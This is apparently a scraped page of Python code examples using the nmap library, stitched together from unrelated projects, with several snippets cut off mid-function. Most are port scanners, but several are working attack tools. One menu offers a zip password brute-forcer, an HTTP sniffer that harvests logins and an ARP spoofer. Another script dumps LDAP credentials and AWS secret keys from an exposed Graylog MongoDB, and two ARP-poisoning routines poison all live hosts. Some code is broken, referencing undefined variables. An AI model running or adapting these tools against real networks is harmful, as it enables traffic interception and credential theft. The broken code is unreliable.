Esempio n. 1
0
def do_scan(targets):
    parsed = None
    nm = nmap.PortScanner()
    nm.scan(
        hosts=targets,
        arguments=
        '-sV -sT -T5 -vvv -Pn -oN "/home/toxic/workspace/reconator/core/results/reconator_%s"'
        % targets)
    #   subprocess.process()

    ncsv = nm.csv()
    r = csv.reader(ncsv)
    nmenm = '/tmp/nm_reco_%s' % targets
    f = open(nmenm, 'w')
    f.write(ncsv)
    f.close()
    print('----------------------------------------------------')
    print("write nm_reco_*")
    print('----------------------------------------------------')
    #    subprocess.call("/home/toxic/workspace/reconator/core/format_nm.sh")

    for host in nm.all_hosts():
        print('----------------------------------------------------')
        print('SORT NM.ALL_HOSTS')
        print('----------------------------------------------------')
        print('Hostname')
        print('----------------------------------------------------')
        print('Host : {0} ({1})'.format(host, nm[host].hostname()))
        print('----------------------------------------------------')
        print("nm[host][proto].keys() lport sort")
        print('----------------------------------------------------')
    for proto in nm[host].all_protocols():
        print('----------')
        print('Protocol : {0}'.format(proto))
        lport = list(nm[host][proto].keys())
        lport.sort()
        for port in lport:
            print('port : {0}\tstate : {1}'.format(port,
                                                   nm[host][proto][port]))
        print('----------------------------------------------------')


#    fncsv = ncsv.split("\n", 1)[1:]
    fncsv = ncsv.split("\n", 1)
    print('----------------------------------------------------')
    print('csv')
    print('----------------------------------------------------')
    print(ncsv)
    print('----------------------------------------------------')

    for row in fncsv:
        if "http" in row:
            print(row)
            print("GOTCHA HTTP !!!!!")
            #            print("launch nikto...")
            for host in nm.all_hosts():
                print("launch  proof %s " % str(host))
                multProc(httpenum, str(host))
                # try:
            #subprocess.call('/usr/bin/nikto %s ' % host)
            #subprocess.call('echo zob > "/tmp/recotouch" ')

            #except:
            #   print('vnikto failed')
        else:
            print("pas de http")
            print('----------------------------------------------------')

    # matchttp = re.search(r'http', str(row))
    print('###########################################################')

    return parsed
Esempio n. 2
0
def nmap_scan(host, ports):
	nmap_scanner = nmap.PortScanner()
	for port in ports:
		nmap_scanner.scan(host, port)
		state = nmap_scanner[host]['tcp'][int(port)]['state']
		print(f'\n {host} tcp/{port}: {state}')
Esempio n. 3
0
import nmap
import sys

if len(sys.argv) < 4:
    print("Usage: python3 ", __file__, " [IP] [PORT1 [PORT2]]")
    sys.exit()

ip = sys.argv[1]
port1 = int(sys.argv[2])
port2 = int(sys.argv[3])

scanner = nmap.PortScanner()
for port in range(port1, port2):
    result = scanner.scan(ip, str(port))
    result = result['scan'][ip]['tcp'][port]['state']
    print("Port " + str(port) + ": " + result)
Esempio n. 4
0
import nmap
import os
import re
import multiprocessing
import subprocess
import csv

nm = nmap.PortScanner()
nm.scan(hosts='127.0.0.1', arguments='-sT -sV  -vvv -oN /tmp/testgrep')
nall = nm.all_hosts()
ncsv = nm.csv()

# ndict = nm.analyse_nmap_xml_scan(())
# nlast = nm.get_nmap_last_output()
# nmdict = '/tmp/nm_dict_{0}'.format(ndict)
# nmlast = '/tmp/nm_last_{0}'.format(nlast)

nmcsv = '/tmp/nm_csv_{0}'.format(ncsv)
f = open(nmcsv, 'w')
f.write(ncsv)
f.close()
print('----------------------------------------------------')
print("write nm_csv_*")
print('----------------------------------------------------')
#    subprocess.call("/home/toxic/workspace/reconator/core/format_nm.sh")

# g = open(nmdict, 'w')
# g.write(ndict)
# g.close()
# print('----------------------------------------------------')
# print("write nm_ndict_*")
Esempio n. 5
0
def nmap_port(host, port):
    nm = nmap.PortScanner()
    nm.scan(host, port)
    if nm[host].state() == 'up':
        return nm[host]['tcp'][port]
Esempio n. 6
0
        def hack_menu():
            print("\n\n\n\n\nPlease choses one of the option below:")
            print("\n\n1)Ip scanner")
            print("2)Network Scanner")
            print("3)Ping")
            print("4)Zip File Bruteforcer")
            print("5)Packet Sniffer")
            print("6)ARP Spoofer")
            print("0)Back")
            hack_answer = input("\n\nPlease enter your choice:   ")

            if hack_answer == "1":

                scanner = nmap.PortScanner()
                print("""
            
             /$$$$$$$  /$$$$$$$$ /$$    /$$$$$$$$ /$$$$$$ 
            | $$__  $$| $$_____/| $$   |__  $$__//$$__  $$
            | $$  \ $$| $$      | $$      | $$  | $$  \ $$
            | $$  | $$| $$$$$   | $$      | $$  | $$$$$$$$
            | $$  | $$| $$__/   | $$      | $$  | $$__  $$
            | $$  | $$| $$      | $$      | $$  | $$  | $$
            | $$$$$$$/| $$$$$$$$| $$$$$$$$| $$  | $$  | $$
            |_______/ |________/|________/|__/  |__/  |__/
                                                                  
                                                                              
                                              

                """)
                print("\n\n\n                 Welcom to the simple Ip Scanner")
                print(
                    "\n<--------------------------------------------------------------->"
                )

                ip_addr = input(
                    "\nPlease enter the IP address you want to scan: ")
                print("\nTarget Ip set to: ", ip_addr)
                type(ip_addr)

                ip_menu = input(
                    """\nPlease enter the type of scan you want to run:
1)SYN ACK Scan
2)UDP Scan
3)Comprehensive Scan
0)Back
                                    
Your choice:  """)

                print("OPTION was set to: ", ip_menu)

                if ip_menu == "1":
                    print("\n\nNmap Version: ", scanner.nmap_version())
                    ports_to_scan = input(
                        "Please enter the port numbers which you want to scan\nIf you want to scan every port up until 1024, type ALL:    "
                    ).lower()
                    if ports_to_scan == 'all':
                        scanner.scan(ip_addr, '1-1024', '-v -sS')
                        print(scanner.scaninfo())
                        print("Ip Status: ", scanner[ip_addr].state())
                        print(scanner[ip_addr].all_protocols())
                        print("Open Ports: ", scanner[ip_addr]['tcp'].keys())
                        hack_menu()
                    else:
                        scanner.scan(ip_addr, ports_to_scan, '-v -sS')
                        print(scanner.scaninfo())
                        print("Ip Status: ", scanner[ip_addr].state())
                        print(scanner[ip_addr].all_protocols())
                        print("Open Ports: ", scanner[ip_addr]['tcp'].keys())
                        hack_menu()
                elif ip_menu == "2":
                    print("\n\nNmap Version: ", scanner.nmap_version())
                    ports_to_scan = input(
                        "Please enter the port numbers which you want to scan\nIf you want to scan every port up until 1024, type ALL:    "
                    ).lower()
                    if ports_to_scan == 'all':
                        scanner.scan(ip_addr, '1-1024', '-v -sU')
                        print(scanner.scaninfo())
                        print("Ip Status: ", scanner[ip_addr].state())
                        print(scanner[ip_addr].all_protocols())
                        print("Open Ports: ", scanner[ip_addr]['udp'].keys())
                        hack_menu()
                    else:
                        scanner.scan(ip_addr, ports_to_scan, '-v -sU')
                        print(scanner.scaninfo())
                        print("Ip Status: ", scanner[ip_addr].state())
                        print(scanner[ip_addr].all_protocols())
                        print("Open Ports: ", scanner[ip_addr]['udp'].keys())
                        hack_menu()
                elif ip_menu == "3":
                    print("\n\nNmap Version: ", scanner.nmap_version())
                    ports_to_scan = input(
                        "\nPlease enter the port numbers which you want to scan\nIf you want to scan every port up until 1024, type ALL:    "
                    ).lower()
                    if ports_to_scan == 'all':
                        scanner.scan(ip_addr, '1-1024', '-v -sS -sV -sC -A -O')
                        print(scanner.scaninfo())
                        print("Ip Status: ", scanner[ip_addr].state())
                        print(scanner[ip_addr].all_protocols())
                        print("Open Ports: ", scanner[ip_addr]["tcp"].keys())
                        hack_menu()
                    else:
                        scanner.scan(ip_addr, ports_to_scan,
                                     '-v -sS -sV -sC -A -O')
                        print(scanner.scaninfo())
                        print("Ip Status: ", scanner[ip_addr].state())
                        print(scanner[ip_addr].all_protocols())
                        print("Open Ports: ", scanner[ip_addr]["tcp"].keys())
                        hack_menu()
                elif ip_menu == "0":

                    hack_menu()

                else:
                    print(
                        "\n\n Invalid Choice: Please use one of the choices provided"
                    )
                    hack_menu()

            elif hack_answer == "2":
                print(
                    "\n\nPlease specify your routers ip, It might be on of these: "
                )
                print("\n\n" + os.popen('route -n ').read())
                router_ip = input("\n\nInput routers IP:   ")

                def scan(ip):
                    print(
                        "\n These are the MAC Ads. linked with the IP's on the network:  \n"
                    )
                    scapy.arping(ip)

                scan(router_ip + "/24")
                hack_menu()

            elif hack_answer == "3":
                ip_address = input("\n\nPlease enter what you want to ping:  ")
                ping(ip_address, verbose=True, size=40, count=10)
                hack_menu()

            elif hack_answer == '4':
                wordlist = str(
                    input(
                        "Enter the full path of the WORDLIST which you want to use:  "
                    ))
                zip_file = str(
                    input(
                        "Enter the full path of the Zip File which you want to crack:   "
                    ))
                zip_file = zipfile.ZipFile(zip_file)
                n_words = len(list(open(wordlist, "rb")))
                print("Total passwords to test:", n_words)
                with open(wordlist, "rb") as wordlist:
                    for word in tqdm(wordlist, total=n_words, unit="word"):
                        try:
                            zip_file.extractall(pwd=word.strip())
                        except:
                            continue
                        else:
                            print("[+] Password found:", word.decode().strip())
                            hack_menu()
                print("[!] Password not found, try other wordlist.")

                hack_menu()

            elif hack_answer == "5":
                what_inter = str(
                    input("Specify what interface you want to use:  "))
                what_filter = str(
                    input(
                        "Specify what filter you want to use (port 22, port 21, udp, http, ect.):   "
                    ))

                if what_filter == "http":
                    what_find = input(
                        "What do you want to catch? (login, url, all):   "
                    ).lower()

                    if what_find == "login":
                        try:

                            def sniff(interface):
                                scapy.sniff(iface=interface,
                                            store=False,
                                            prn=process_sniffed_packet)

                            def process_sniffed_packet(packet):
                                if packet.haslayer(http.HTTPRequest):
                                    url = packet[
                                        http.HTTPRequest].Host + packet[
                                            http.HTTPRequest].Path
                                    print("[+]HTTP Request --> " + str(url))
                                    if packet.haslayer(scapy.Raw):
                                        load = str(packet[scapy.Raw].load)
                                        keywords = [
                                            "uname", "pass", "username",
                                            "password", "login"
                                        ]
                                        for keyword in keywords:
                                            if keyword in load:
                                                print(
                                                    "\n\n[+]Possible username and passowrd --> "
                                                    + str(load) + "\n\n")

                            sniff(what_inter)

                        except KeyboardInterrupt:
                            print(
                                "\n[+] Detected CTRL + C ......... Quitting ")

                    elif what_find == "all":

                        try:

                            def sniff(interface):
                                scapy.sniff(iface=interface,
                                            store=False,
                                            prn=process_sniffed_packet)

                            def process_sniffed_packet(packet):
                                if packet.haslayer(http.HTTPRequest):
                                    print(packet.load)

                            sniff(what_inter)

                        except KeyboardInterrupt:
                            print(
                                "\n[+] Detected CTRL + C ......... Quitting ")
                    else:
                        print(
                            "\n\nInvalid input, Please use one of the ones provided!"
                        )
                        hack_menu()

                else:
                    what_find = input(
                        "What do you want to catch? (login, all):   ").lower()
                    if what_find == "login":
                        try:

                            def sniff(interface):
                                scapy.sniff(iface=interface,
                                            store=False,
                                            prn=process_sniffed_packet,
                                            filter=what_filter)

                            def process_sniffed_packet(packet):
                                if packet.haslayer(scapy.Raw):
                                    load = str(packet[scapy.Raw])
                                    keywords = [
                                        "uname", "pass", "username",
                                        "password", "login"
                                    ]
                                    for keyword in keywords:
                                        if keyword in load:
                                            print("\n\n" + load)

                            sniff(what_inter)

                        except KeyboardInterrupt:
                            print(
                                "\n[+] Detected CTRL + C ......... Quitting ")

                    elif what_find == "all":
                        try:

                            def sniff(interface):
                                scapy.sniff(iface=interface,
                                            store=False,
                                            prn=process_sniffed_packet,
                                            filter=what_filter)

                            def process_sniffed_packet(packet):
                                print(packet.show)

                            sniff(what_inter)

                        except KeyboardInterrupt:
                            print(
                                "\n[+] Detected CTRL + C ......... Quitting ")

                    else:
                        print(
                            "\n\nInvalid input, Please use one of the ones provided!"
                        )
                        hack_menu()

            elif hack_answer == "6":

                print(
                    "\n\n Run the Network Scanner to find Devices on the same network"
                )
                target_ip = (input("\nPlease enter the target ip:  "))
                spoof_ip = (input("Please enter the IP of the router:  "))

                sent_packets_count = 0

                def get_mac(ip):
                    arp_request = scapy.ARP(pdst=ip)
                    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
                    arp_request_broadcast = broadcast / arp_request
                    answered_list = scapy.srp(arp_request_broadcast,
                                              timeout=1,
                                              verbose=False)[0]

                    answered_list[0][1].hwsrc

                    clients_list = []
                    for element in answered_list:
                        client_dict = {
                            "ip": element[1].psrc,
                            "mac": element[1].hwsrc
                        }
                        clients_list.append(client_dict)
                    return clients_list

                def spoof(target_ip, spoof_ip):
                    target_mac = get_mac(target_ip)
                    packet = scapy.ARP(op=2,
                                       pdst=target_ip,
                                       hwdst=target_mac,
                                       psrc=spoof_ip)
                    scapy.send(str(packet), verbose=False)

                def restore(destination_ip, source_ip):
                    destination_mac = get_mac(destination_ip)
                    source_mac = get_mac(source_ip)
                    packet = scapy.ARP(op=2,
                                       pdst=destination_ip,
                                       hwdst=destination_mac,
                                       psrc=source_ip,
                                       hwsrc=source_mac)
                    scapy.send(packet, count=4, verbose=False)

                try:
                    while True:
                        spoof(target_ip, spoof_ip)
                        spoof(spoof_ip, target_ip)
                        scapy.send(packet2, verbose=False)
                        sent_packets_count = sent_packets_count + 2
                        print("\r[+] Packets sent: " + str(sent_packets_count),
                              end="")
                        time.sleep(2)

                except KeyboardInterrupt:
                    print(
                        "\n[+] Detected CTRL + C ............ Resetting ARP tables... Please wait"
                    )
                    restore(target_ip, gateway_ip)
                    restore(gateway_ip, target_ip)
                    scapy.send(packet_restore2, count=4, verbose=False)
                    print("[+] Tables Restored")
                    hack_menu()

                hack_menu()

            elif hack_answer == "0":

                question()

            else:
                print(
                    "\n\n Invalid Choice: Please use one of the choices provided"
                )
                hack_menu()
def test_mongo_credentials(ip):

    nm = nmap.PortScanner()

    try:
        nm.scan(hosts=ip, arguments='-sT -T4 -p 27017')

        if nm[ip]['tcp'][MONGODB_PORT]['state'] == 'open':

            try:
                client = MongoClient(ip, MONGODB_PORT)
                db = client.graylog
                globals.graylog_messages(7)

                print("[!] " + (str(
                    list(
                        db.ldap_settings.find({}, {
                            'system_username': 1,
                            '_id': 0
                        })))).strip(' [{}]'))
                print("[!] " + (str(
                    list(
                        db.ldap_settings.find({}, {
                            'system_password': 1,
                            '_id': 0
                        })))).strip(' [{}]'))
                print("[!] " + (str(
                    list(
                        db.ldap_settings.find({}, {
                            'system_password_salt': 1,
                            '_id': 0
                        })))).strip(' [{}]'))
                print("[!] " + (str(
                    list(db.ldap_settings.find({}, {
                        'ldap_uri': 1,
                        '_id': 0
                    })))).strip(' [{}]'))

                globals.graylog_messages(8)

                awsaccesskey = list(
                    db.cluster_config.find(
                        {
                            'type':
                            'org.graylog.aws.config.AWSPluginConfiguration'
                        }, {
                            'payload.access_key': 1,
                            '_id': 0
                        }))
                accesskey = str(awsaccesskey).replace(
                    'payload', '').strip('[{}]').replace("'': {", '')
                awssecretkey = list(
                    db.cluster_config.find(
                        {
                            'type':
                            'org.graylog.aws.config.AWSPluginConfiguration'
                        }, {
                            'payload.secret_key': 1,
                            '_id': 0
                        }))
                secretkey = str(awssecretkey).replace(
                    'payload', '').strip('[{}]').replace("'': {", '')

                globals.graylog_messages(9)
                print("[!] " + accesskey)
                print("[!] " + secretkey)
                print(globals.SEPARATOR)

            except ConnectionFailure:
                globals.graylog_messages(10)

        else:
            globals.graylog_messages(11)

    except Exception as e:
        logging.error(e, exc_info=True)
Esempio n. 8
0
def run_nmap_vulners(ip_addr='', project_id=''):
    if not ip_addr:
        raise ValueError('[NMAP_VULNERS] - ip_addr must be specified')

    scan_id = uuid.uuid4()

    nmap_vulners_path = os.path.join(settings.BASE_DIR,
                                     'tools/nmap_vulners/vulners.nse')
    all_nv = nmap_vulners_setting_db.objects.all()
    for nv in all_nv:
        nv_enabled = bool(nv.enabled)
        nv_online = bool(nv.online)
        nv_version = bool(nv.version)
        nv_timing = int(nv.timing)

    args = ''
    if nv_version:
        args += ' -sV'
    if nv_online:
        args += ' -Pn'
    if nv_timing:
        args += ' -T' + str(nv_timing)
    args += ' --script ' + nmap_vulners_path
    print('[NMAP_VULNERS][%s] - ARGUMENTS -%s' % (scan_id, args))

    nm = nmap.PortScanner()
    nm = nm.scan(hosts=ip_addr, arguments=args)
    scan = nm.get('scan')

    # Rewrite Nmap results each time
    nmap_vulners_port_result_db.objects.filter(ip_address=ip_addr).delete()

    for host, host_data in scan.items():
        print(
            '[NMAP_VULNERS][%s] ----------------------------------------------------'
            % (scan_id))
        print('[NMAP_VULNERS][%s] Host : %s (%s)' %
              (scan_id, host, host_data.get('hostnames')))

        parse_port('tcp', host, host_data, scan_id, project_id)
        parse_port('udp', host, host_data, scan_id, project_id)

        all_data = nmap_vulners_port_result_db.objects.filter(ip_address=host)
        # for a in all_data:
        #     global total_ports, ports_p
        #     ports_p = a.port
        total_ports = len(all_data)
        # print(total_ports)

        all_open_p = nmap_vulners_port_result_db.objects.filter(
            ip_address=host, state='open')
        # for p in all_open_p:
        #     global total_open_p
        total_open_p = len(all_open_p)
        # print(total_open_p)

        all_close_p = nmap_vulners_port_result_db.objects.filter(
            ip_address=host, state='closed')
        total_close_p = len(all_close_p)

        save_scan = nmap_scan_db(
            scan_id=scan_id,
            project_id=project_id,
            scan_ip=host,
            total_ports=total_ports,
            total_open_ports=total_open_p,
            total_close_ports=total_close_p,
        )
        save_scan.save()

    print('[NMAP_VULNERS][] - END - scan of domain %s' %
          (scan_id, format(ip_addr)))
Esempio n. 9
0
# author:Mr.Chen

import sys
import nmap

scan_row = []
input_data = input('Please input hosts and prot: ')
scan_row = input_data.split(" ")
if len(scan_row) != 2:
    print("Input errors,example \"192.168.1.0/24 80,443,22\"")
    sys.exit()
hosts = scan_row[0]  # 接收用户输入的主机
port = scan_row[1]  # 接收用户输入的端口

try:
    nm = nmap.PortScanner()  # 创建端口扫描对象
except nmap.PortScannerError:
    print('Nmap not found', sys.exc_info()[0])
    sys.exit(0)
except:
    print("Unexpected error:", sys.exc_info()[0])
    sys.exit(0)

try:
    # 调用扫描方法,参数指定扫描主机hosts,nmap扫描命令行参数arguments
    nm.scan(hosts=hosts, arguments='-v -sS -p' + port)
except Exception as e:
    print("Scan erro:" + str(e))

for host in nm.all_hosts():  # 遍历扫描主机
    print('-------------------------------------------------------')
Esempio n. 10
0
    def findHostnames(self, int_ip, CIDR):

        print(bcolors.OKGREEN + "      [ HOSTNAMES ENUMERATION MODULE ]\n" +
              bcolors.ENDC)
        hostname = socket.gethostname()

        res_table = PrettyTable([
            bcolors.OKGREEN + '[IP]' + bcolors.ENDC,
            bcolors.OKGREEN + '[Hostname]' + bcolors.ENDC,
            bcolors.OKGREEN + '[Domain]' + bcolors.ENDC,
            bcolors.OKGREEN + '[Operating System]' + bcolors.ENDC
        ],
                                border=False,
                                header=True)
        res_table.align = "l"
        print("Searching for hostnames in %s...\n" % CIDR)
        print("Current Hostname:" + bcolors.TITLE + " %s" % hostname +
              bcolors.ENDC)
        print(" ")

        try:
            subprocess.call(
                'cme -t 50 --timeout 2 smb %s  > Results/hostnames' % CIDR,
                shell=True)
            #Discover live hosts
            nm = nmap.PortScanner()
            nm_arp = nm.scan(hosts=CIDR, arguments="-sn")
            for x in nm_arp.items()[1][1]:
                self.live_ips.append(x)

            self.live_ips.remove(int_ip)

            subprocess.call(
                "strings Results/hostnames | grep '445' | awk '{print $2}' > Results/ips_gathered",
                shell=True)
            subprocess.call(
                "strings Results/hostnames | grep '445' | awk '{print $4}' > Results/hostnames_gathered",
                shell=True)
            subprocess.call(
                'strings Results/hostnames | grep ":" | cut -d ":" -f 3 | cut -d ")" -f 1 > Results/domains_gathered',
                shell=True)
            subprocess.call(
                'strings Results/hostnames | grep ":" | cut -d "(" -f 1  > Results/operating_systems',
                shell=True)

            ips_gathered = []
            hostnames_gathered = []
            domains_gathered = []
            os_gathered = []

            # Read files into the lists
            with open("Results/ips_gathered", "r") as ips:
                ips_gathered = ips.readlines()
            with open("Results/hostnames_gathered", "r") as hostnames:
                hostnames_gathered = hostnames.readlines()
            with open("Results/domains_gathered", "r") as domains:
                domains_gathered = domains.readlines()
            with open("Results/operating_systems", "r") as oper:
                os_gathered = oper.readlines()

            subprocess.call("rm Results/ips_gathered", shell=True)
            subprocess.call("rm Results/hostnames_gathered", shell=True)
            subprocess.call("rm Results/domains_gathered", shell=True)
            subprocess.call("rm Results/operating_systems", shell=True)
            subprocess.call("rm Results/hostnames", shell=True)

            # Get the array length for the loop
            length = len(ips_gathered)

            for i in range(0, length):
                self.ips_gathered.append(ips_gathered[i].strip())
                self.hostnames_gathered.append(hostnames_gathered[i].strip())
                self.domains_gathered.append(domains_gathered[i].strip())
                os = os_gathered[i].replace("[0m", " ")
                self.os_gathered.append(os.strip())

            # Write the results on stdout and DB
            for i in range(0, length):
                if self.ips_gathered[i].strip() != int_ip.strip():
                    res_table.add_row([
                        self.ips_gathered[i].strip(),
                        self.hostnames_gathered[i].strip(),
                        self.domains_gathered[i].strip(),
                        self.os_gathered[i].strip()
                    ])
            print(res_table)
        except:
            print(bcolors.FAIL + "No Hostnames Found\n" + bcolors.ENDC)
        length = len(self.live_ips)
        if length != 0:
            print(bcolors.OKGREEN + "\n      [  SCOPE DEFINITION MODULE ]\n" +
                  bcolors.ENDC)
            for ip in self.live_ips:
                if ip.strip() != int_ip.strip():
                    print(bcolors.TITLE + "[+] " + bcolors.ENDC +
                          "%s " % ip.strip() + "added to scope!")
        else:
            print(
                bcolors.WARNING +
                "NO LIVE IPS FOUND! THERE IS NO NEED TO CONTINUE! WARBERRY WILL NOW EXIT!"
                + bcolors.ENDC)
            sys.exit(1)
Esempio n. 11
0
def nonInteractiveAttack():

    print("\n{}nonInteractiveAttack{} activated...{}\n".format(
        RED, GREEN, END))

    target = options.targets
    print("\n{}Target(s): {}{}".format(GREEN, END, ", ".join(target)))
    global stopAnimation
    stopAnimation = False
    t = threading.Thread(target=scanningAnimation,
                         args=('Checking target status...', ))
    t.daemon = True
    t.start()

    try:
        nm = nmap.PortScanner()
        counter = 0
        for host in target:
            a = nm.scan(hosts=host, arguments='-sn')
            if a['scan'] != {}:
                for k, v in a['scan'].items():
                    if str(v['status']['state']) == 'up':
                        pass
                    else:
                        if len(target) == 1 or counter == len(target) - 1:
                            stopAnimation = True
                            sys.stdout.write("\033[K")
                            print(
                                "\n{}ERROR: Target {}{}{} doesn't seem to be alive. Exiting...{}"
                                .format(RED, END, str(host), RED, END))
                            os._exit(1)
                        else:
                            sys.stdout.write("\033[K")
                            print(
                                "\n{}WARNING: Target {}{}{} doesn't seem be alive. Skipping...{}"
                                .format(RED, END, str(host), RED, END))
                            target.remove(host)
                            counter += 1
                            pass
            else:
                if len(target) == 1 or counter == len(target) - 1:
                    stopAnimation = True
                    sys.stdout.write("\033[K")
                    print(
                        "\n{}ERROR: Target {}{}{} doesn't seem to be alive. Exiting...{}"
                        .format(RED, END, str(host), RED, END))
                    os._exit(1)
                else:
                    sys.stdout.write("\033[K")
                    print(
                        "\n{}WARNING: Target {}{}{} doesn't seem be alive. Skipping...{}"
                        .format(RED, END, str(host), RED, END))
                    target.remove(host)
                    counter += 1
                    pass

        stopAnimation = True
        sys.stdout.write("\033[K")

        defaultGatewayIP = getGatewayIP()
        defaultGatewayMac = retrieveMACAddress(defaultGatewayIP)

    except KeyboardInterrupt:
        shutdown()

    if options.packets is not None:
        print("\n{}Spoofing started... {}( {} pkts/min )".format(
            GREEN, END, str(options.packets)))
    else:
        print("\n{}Spoofing started... {}".format(GREEN, END))
    try:
        while True:
            # broadcast malicious ARP packets
            for i in target:
                ipAddress = i
                macAddress = retrieveMACAddress(ipAddress)
                if macAddress == False:
                    print(
                        "\n{}ERROR: MAC address of target host could not be retrieved! Maybe host is down?{}"
                        .format(RED, END))
                    os._exit(1)
                spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP,
                                 ipAddress, macAddress)
            if options.packets is not None:
                time.sleep(60 / float(options.packets))
            else:
                time.sleep(10)
    except KeyboardInterrupt:
        # re-arp targets on KeyboardInterrupt exception
        print("\n{}Re-arping{} target(s)...{}".format(RED, GREEN, END))
        reArp = 1
        while reArp != 10:
            # broadcast ARP packets with legitimate info to restore connection
            for i in target:
                ipAddress = i
                try:
                    macAddress = retrieveMACAddress(ipAddress)
                except:
                    print(
                        "\n{}ERROR: MAC address of target host could not be retrieved! Maybe host is down?{}"
                        .format(RED, END))
                    os._exit(1)
                try:
                    spoof.sendPacket(defaultGatewayMac, defaultGatewayIP,
                                     ipAddress, macAddress)
                except KeyboardInterrupt:
                    pass
                except:
                    runDebug()
            reArp += 1
            time.sleep(0.2)
        print("{}Re-arped{} target(s) successfully.{}".format(RED, GREEN, END))
Esempio n. 12
0
def nmap_A_scan(network_prefix):
    nm = nmap.PortScanner()
    scan_raw_result = nm.scan(hosts=network_prefix, arguments='-v -n -A')

    #print(scan_raw_result['scan'])
    for host, result in scan_raw_result['scan'].items():
        if result['status']['state'] == 'up':
            print('#' * 17 + 'Host:' + host + '#' * 17)
            print('-' * 20 + '操作系统猜测' + '-' * 20)
            for os in result['osmatch']:
                print('操作系统为: ' + os['name'] + '   准确度为: ' + os['accuracy'])
            idno = 1
            try:
                for port in result['tcp']:
                    try:
                        print('-' * 17 + 'TCP服务详细信息' + '[' + str(idno) + ']' +
                              '-' * 17)
                        idno = idno + 1
                        print('TCP端口号:' + str(port))
                        try:
                            print('状态: ' + result['tcp'][port]['state'])
                        except:
                            pass
                        try:
                            print('原因: ' + result['tcp'][port]['reason'])
                        except:
                            pass
                        try:
                            print('额外信息: ' + result['tcp'][port]['extrainfo'])
                        except:
                            pass
                        try:
                            print('名字: ' + result['tcp'][port]['name'])
                        except:
                            pass
                        try:
                            print('版本: ' + result['tcp'][port]['version'])
                        except:
                            pass
                        try:
                            print('产品: ' + result['tcp'][port]['product'])
                        except:
                            pass
                        try:
                            print('CPE: ' + result['tcp'][port]['cpe'])
                        except:
                            pass
                        try:
                            print('脚本: ' + result['tcp'][port]['script'])
                        except:
                            pass
                    except:
                        pass
            except:
                pass

            idno = 1
            try:
                for port in result['udp']:
                    try:
                        print('-' * 17 + 'UDP服务详细信息' + '[' + str(idno) + ']' +
                              '-' * 17)
                        idno = idno + 1
                        print('UDP端口号:' + str(port))
                        try:
                            print('状态: ' + result['udp'][port]['state'])
                        except:
                            pass
                        try:
                            print('原因: ' + result['udp'][port]['reason'])
                        except:
                            pass
                        try:
                            print('额外信息: ' + result['udp'][port]['extrainfo'])
                        except:
                            pass
                        try:
                            print('名字: ' + result['udp'][port]['name'])
                        except:
                            pass
                        try:
                            print('版本: ' + result['udp'][port]['version'])
                        except:
                            pass
                        try:
                            print('产品: ' + result['udp'][port]['product'])
                        except:
                            pass
                        try:
                            print('CPE: ' + result['udp'][port]['cpe'])
                        except:
                            pass
                        try:
                            print('脚本: ' + result['udp'][port]['script'])
                        except:
                            pass
                    except:
                        pass
            except:
                pass
            print('-' * 20 + '地址详细信息' + '-' * 20)
            try:
                print('IP地址: ' + result['addresses']['ipv4'])
                print('MAC地址: ' + result['addresses']['mac'])
            except:
                pass
Esempio n. 13
0
class Arp:
    nm = nmap.PortScanner()
    dns_mac = ''
    mac_attacker = ''
    first_call = True
    # Refresh list of hosts
    counter = 0
    conf = Configuration()

    def __init__(self):
        return

    def poison(self, mac_attacker, mac_victim, ip_victim, ip_to_spoof):
        # Create false ARP packet
        arp = Ether() / ARP()
        arp[Ether].src = mac_attacker
        arp[ARP].hwsrc = mac_attacker
        arp[ARP].psrc = ip_to_spoof
        arp[ARP].hwdst = mac_victim
        arp[ARP].pdst = ip_victim

        sendp(arp, verbose=False)

    def restore(self, machine_a_ip, machine_a_mac, machine_b_ip,
                machine_b_mac):  # TODO Rewrite method on L2
        # Broadcast 3 times machine B's correct MAC address
        send(ARP(op=2,
                 pdst=machine_a_ip,
                 psrc=machine_b_ip,
                 hwdst='ff:ff:ff:ff:ff:ff',
                 hwsrc=machine_b_mac),
             count=3,
             verbose=False)
        # Broadcast 3 times machine A's correct MAC address
        send(ARP(op=2,
                 pdst=machine_b_ip,
                 psrc=machine_a_ip,
                 hwdst='ff:ff:ff:ff:ff:ff',
                 hwsrc=machine_a_mac),
             count=3,
             verbose=False)

    def get_hosts(self, ip):
        if self.first_call:
            print("Obtaining list of alive hosts...")

        # Refresh list of hosts periodically
        if self.counter > self.conf.getARPhostsRefreshDelay():
            self.nm.scan(ip, arguments='-sP')
            self.counter = 0

        # Check if scan already occurred
        elif not self.nm.all_hosts():
            # Ping scan to get all alive hosts
            self.nm.scan(ip, arguments='-sP')

        if self.first_call:
            print("Done! (" + str(len(self.nm.all_hosts())) + " found)")

    def poison_all(self, ip_range, dns_ip, dns_mac):
        if not self.mac_attacker:
            self.get_nic_mac()

        self.get_hosts(ip_range)
        for host in self.nm.all_hosts():
            if not host == str(socket.gethostbyname(
                    socket.gethostname())):  # Don't poison yourself
                try:
                    # Poison DNS server
                    self.poison(self.mac_attacker, dns_mac, dns_ip, host)
                    # Poison device
                    # self.poison(self.mac_attacker, self.nm[host]['addresses']['mac'], host, dns_ip)
                    if self.first_call:
                        print("Poisoned " + host)
                except KeyError:
                    continue
        # Return true if poisoning was successful and increment counter
        self.counter = self.counter + 1
        if self.first_call:
            self.first_call = False
        return True

    def restore_all(self, ip_range, dns_ip, dns_mac):
        self.get_hosts(ip_range)
        for host in self.nm.all_hosts():
            try:
                self.restore(host, self.nm[host]['address']['mac'], dns_ip,
                             dns_mac)
            except KeyError:
                continue

    # Get Pi-Hole's MAC address
    def get_dns_mac(self, ip):
        if self.dns_mac is '':
            scanner = nmap.PortScanner()
            scanner.scan(ip, arguments='-sP')
            self.dns_mac = scanner[ip]['addresses']['mac']

        return self.dns_mac

    # Get own MAC address (attacker's) based on NIC defined in conf
    def get_nic_mac(self):
        network_interface = self.conf.getNetworkInterface()
        try:
            self.mac_attacker = get_if_hwaddr(network_interface)
            return
        except Exception as e:
            sys.exit(
                "Error, the network interface specified in the configuration was not found."
            )
Esempio n. 14
0
import nmap
import sys

target = str(sys.argv[1])
ports = [21, 22, 80, 139, 443, 8080]
scan_v = nmap.PortScanner()

print("\nScanning", target, "for ports 21, 22, 80, 139, 443, 8080...\n")

for port in ports:
    portscan = scan_v.scan(target, str(port))
    print("Port", port, " is ", portscan['scan'][target]['tcp'][port]['state'])

print("\nHost", target, " is ", portscan['scan'][target]['status']['state'])
Esempio n. 15
0
